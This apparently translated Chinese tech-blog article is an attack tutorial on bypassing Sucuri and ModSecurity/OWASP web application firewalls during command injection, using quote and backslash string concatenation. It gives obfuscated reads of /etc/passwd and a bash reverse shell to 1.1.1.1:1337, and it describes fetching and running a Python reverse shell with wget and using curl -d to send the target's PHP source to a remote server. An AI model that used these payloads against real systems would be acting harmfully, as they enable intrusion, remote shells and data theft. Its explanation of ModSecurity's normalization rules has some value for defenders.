大家好,我是小编
我听说北京广州已经空了
还在公司是什么感觉
在回家的路上是什么感觉
到家了是什么感觉
请在后台与我分享
安慰一下离家旅行的小编
前言
在
前一篇文章
中,我们已经知道了如何使用?等通配符绕过 WAF。其实还有很多可以绕过 WAF 的方法,每种攻击都有其特定的绕过技巧。
字符串连接
某些特定的情况下,要对有 WAF 防护的Web 应用程序进行攻击,字符串连接会是一个优先的选择。
编程语言经常把+重载表示为字符串参数拼接:"Hello, " + "World"和"Hello, World"等价。在 Perl 和 PHP 中用.来连接字符串,在 Lua 中使用..来连接:
在C,C ++,Python以及可以在 Bash 中找到的脚本语言或语法中,有一个名词叫做string literal concatenation。
即相邻的字符串连接在一起,没有任何操作符:"Hello, " "World"和"Hello, World"等价。这不仅适用于 printf 和 echo 命令,而且适用于整个 bash 语法。
使用 Bash 和 Python 连接字符串测试,下面的每个命令都具有相同的结果:
使用Bash和Python连接字符串测试
发生这种情况是因为所有相邻的字符串文字在 Bash 中连接在一起,实际上'te's't'是由三个字符串组成:字符串te,字符串s和字符串t。
此语法可用于绕过基于关键词匹配的 WAF。
ModSecurity中这条规则SecRule ARGS "@pm passwd shadow groups"将阻止包含passwd或shadow的所有请求,如果我们将它们转换成pa'ss'wd或sh'ad'ow,结果又会怎么样呢?
就像我们之前见过的 SQLi 语法一样,使用注释来分割查询,在这里我们也可以使用单引号'来分割文件名和系统命令,并创建一组串联的字符串。
当然,你可以使用字符串连接命令,还可以连接路径。
下面几个命令代表同样的意思:
使用字符串链接cat命令和cat可执行文件的路径
现在,让我们假设已经发现了一个 url 参数存在远程命令执行的漏洞。如果有一个 WAF 阻止 Password 和 shadow,你可以这样绕过:
这里使用的 PHP 代码是:
绕过Sucuri WAF
首先,使用没有编码的参数来获取google.com的返回:
现在能正常获取google.com的返回:
现在,为了利用这个漏洞,我们使用分号分隔语法, 并尝试执行其他系统命令,当我尝试读取 /etc/passwd 文件时,Sucuri WAF会阻止,例如:
Sucuri WAF阻止的原因是: 发现了尝试RFI / LFI请求。
Sucuri “RFI / LFI尝试”规则使用类似于“匹配短语”的操作方式,使用如etc/passwd这样的常见的路径和文件名。
这个 WAF 有一个非常简单的规则集,可以用两个单引号绕过这条规则!
Sucuri WAF使用两个单引号绕过
现在已经能够读取文件了,那下一步能 getshell 吗?答案是:可以!
唯一的问题是,我们不能使用 netcat,因为目标系统中没有安装 netcat。
为了避免使用被 WAF 屏蔽的字符,可以使用下面的bash命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但是命令太复杂,无法绕过所有的防护规则,并且也不能使用一些 PHP, Perl 或 Python 语言的特性。
Sucuri WAF由于检测到混淆的攻击负载阻止了我们的操作。
我们可以试着用curl或者wget来上传一个 Python 的反弹 shell 到一个可写的目录,而不是试图通过这个参数直接执行获取 shell 的命令 。
首先,准备 python 代码:vi shell.py
生成一个可以从目标访问的web服务,像往常一样使用python -c SimpleHTTPServer或php -S命令,然后从目标网站下载 shell.py 文件,使用以下语法:
shell使用curl上传
python反向shell绕过Sucuri WAF
Sucuri WAF没有阻止这个请求,但通常 ModSecurity 会阻止这种低级操作,如果你想确保绕过所有的“匹配短语”规则类型,可以同时使用wget、ip-to-long 、字符串连接:
第一个命令wget用来下载shell文件/tmp/。第二个chmod使其可执行,第三个负责执行。
正如我们所看到的,因为wget命令请求特定的文件,所以通过wget下载的文件被命名为 index.html。
你可以使用nc提供访问:
使用netcat来应答来自RCE的HTTP请求
绕过ModSecurity和OWASP核心规则集
由于 normalizePath 和 cmdLine 的存在,无法绕过 OWASP 核心规则集。
在 ModSecurity 中,它们被称为“转换函数”,用于在匹配数据之前,对数据进行修改操作。原始输入数据不会被修改,ModSecurity 将创建数据的副本,对其进行转换,然后根据结果进行匹配。
normalizePath:从输入字符串中删除多个斜杠,目录自引用和目录反引用(输入开始时除外)。
cmdLine:这个转换函数通过规范化参数值并触发所有规则,如 LFI,RCE,Unix命令等,避免使用转义序列。例如/e't'c/pa'ss'wd,规范化为/etc/passwd,规则如下:
删除所有反斜杠\
删除所有双引号"
删除所有的单引号'
删除所有的插文^
删除斜杠前的空格/
删除一个空括号之前的空格(
将所有逗号和分号替换为空格
将多个空格(包括制表符,换行符等)替换为一个空格
将所有字符转换为小写
尝试使用前面的字符串连接的操作进行远程命令执行时,都会被规则“932160(图示)”拦截:
这里不能读取 /etc/passwd,因为OWASP 核心规则集会对公用文件、路径和命令进行拦截,但不会拦截对目标应用程序源代码的读取。
虽然不能使用分号(不能破坏curl语法),但可以使用curl提取文件,并发送到我们的远程服务器。
curl使用-d参数,可以将文件发送到远程服务器:
请求时,编码@为%40:
从目标应用程序将PHP文件发送到远程服务器
如果目标的防护级别设置为PL4,那么上面的方法将不起作用。
反斜杠作为新的单引号
同样的技术也可以使用反斜杠\字符。这不是一个连接字符,而是一个转义符号:
干货丰富
请慢慢消化
有疑问欢迎后台给小编留言哦
领取 专属20元代金券
Get大咖技术交流圈